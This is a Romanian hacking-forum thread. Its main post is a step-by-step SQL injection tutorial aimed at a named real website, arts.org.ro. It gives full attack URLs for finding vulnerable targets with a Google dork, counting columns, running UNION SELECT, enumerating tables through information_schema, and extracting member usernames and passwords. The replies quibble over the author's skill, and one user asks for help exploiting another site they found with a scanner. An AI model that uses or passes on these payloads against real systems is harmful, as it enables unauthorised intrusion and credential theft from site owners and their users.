Jump to content
ZeroCold

[Tutorial] Sql injection 2

Recommended Posts

Tutorial SQL Injection

1.Ne alegem tinta:

Pentru a o gasi mai usor cautam pe google:

ext:php inurl:articole.php

Eu am ales arts.org.ro

Asa......intram la "Noutati" si alegem un articol de acolo, eu l-am ales pe primul.

Linkul arata asa:

http://arts.org.ro/pagini/noutati.php?art=59

2.Verificam daca siteul este vulnerabil:

Punem ‘ la sfarsitul linkului.

Linkul arata asa:

http://arts.org.ro/pagini/noutati.php?art=59’

Daca nu se intampla nimic inseamna ca nu este vulnerabil, daca primim eroare inseamna ca este vulnerabil. In cazul nostru am primit eroare, deci este vulnerabil:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Query was: SELECT * FROM noutati WHERE id=59'

3.Cautam numarul de coloane:

Folosim order by:

Prima data punem order by 1.

http://arts.org.ro/pagini/noutati.php?art=59+order+by+1

Nu primim eroare, inseamna ca are mai mult de o coloana

Punem order by 10

http://arts.org.ro/pagini/noutati.php?art=59+order+by+10

Apare eroarea, deci are mai putin de 10.

Punem order by 9, apoi order by 10, pana ne dispare eroarea, in cazul nostru eroarea a disparut la order by 7:

http://arts.org.ro/pagini/noutati.php?art=59+order+by+7

Inseamna ca are 7 coloane.

4.Cautam coloanele vulnerabile:

Tocmai am aflat ca are 7 coloane, acum cautam coloanele vulnerabile.

Punem union all select:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,2,3,4,5,6,7

Undeva pe pagina vor aparea coloanele vulnerabile, in cazul nostru au aparut coloanele 2,3 si 4.

5.Aflam versiunea MySQL:

Pentru a afla versiunea MySQL punem in loc de cifrele aparute anterior pe pagina, @@version:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,@@version,3,4,5,6,7

Versiunea este :

5.0.45-log

Observam ca a aparut in locul cifrei inlocuite.

Daca versiunea este mai mare sau egala cu 5 atunci putem folosi information_schema, daca nu atunci trebuie sa ghicim totul.

6.Cautam tabelul unde se afla username si password:

Punem table_name:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables

Putem cauta pe rand folosind limit:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+1,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+2,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+3,1

Si tot asa pana cand gasim tabelul dorit sau folosim group_concat:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28table_name%29,3,4,5,6,7+from+information_schema.tables

Folosind group_concat(table_name) primim toate tabelele separate prin virgula.

In cazul nostru tabelul este: “membri”

7.Cautam coloanele unde se afla parola si usernameul:

Dupa ce am gasit tabelul dorit (ceva de genu: admin, users, members..etc) cautam coloanele, ele trebuie ar trebui sa aiba nume precum: pw, password, pass, user,username…etc

La fel ca si tabelele, le putem cauta pe rand cu limit:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+2,1

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+3,1

si tot asa…sau putem folosi group_concat(column_name):

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28column_name%29,3,4,5,6,7+from+information_schema.columns

In cazul nostru coloanele sunt: username si password

8.Obtinem user si pass:

Putem vedea user si pass pe rand:

User:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,3,4,5,6,7+from+membri

Pass:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,password,3,4,5,6,7+from+membri

Daca avem doua sau mai multe coloane vulnerabile putem user pe una si pass pe alta:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,password,4,5,6,7+from+membri

Sau putem folosi “concat”:

http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,concat%28username,0x3a,password%29,3,4,5,6,7+from+membri

Cam atat, sper ca de data asta sa fie bun tutorialul…

Ps: Nu ma fac responsabil pentru daunele provocate de acest tutorial, este doar pentru scop informativ.

Edited by ZeroCold
Link to comment
Share on other sites

Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale...

Parca tu ai stiut la inceput :|

Puteai sa spui si tu...ma, nu e bine acolo, fa asa.....da na ce sa faci....asta-i rst...so...shh ca ne luam warn/ban.

Acum sunt la inceput, e normal sa mai gresesc.

ps: facem pariu ca jumatate stiu ce face :D

Edited by ZeroCold
Link to comment
Share on other sites

altfel cum sa ne laudam.

nu e vorba ca esti incepator, e vorba ca si cu alte notiuni cum ar fi filtrarea, etc nu te stii la ce folosesc!

Poi notiunea de filtrare...

Aici

from+information_schema.columns+where+table_name="membri"

...cum sa explic....filtreaza datele si le da doar pe acelea care se afla in tabelul membri..nu?

Link to comment
Share on other sites

sal baieti,am un site care imi da bataie de cap de la o bucata de timp.

Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu?

Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997"

Link to comment
Share on other sites

sal baieti,am un site care imi da bataie de cap de la o bucata de timp.

Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu?

Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997"

Da-mi pm cu siteu sau punel aici :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...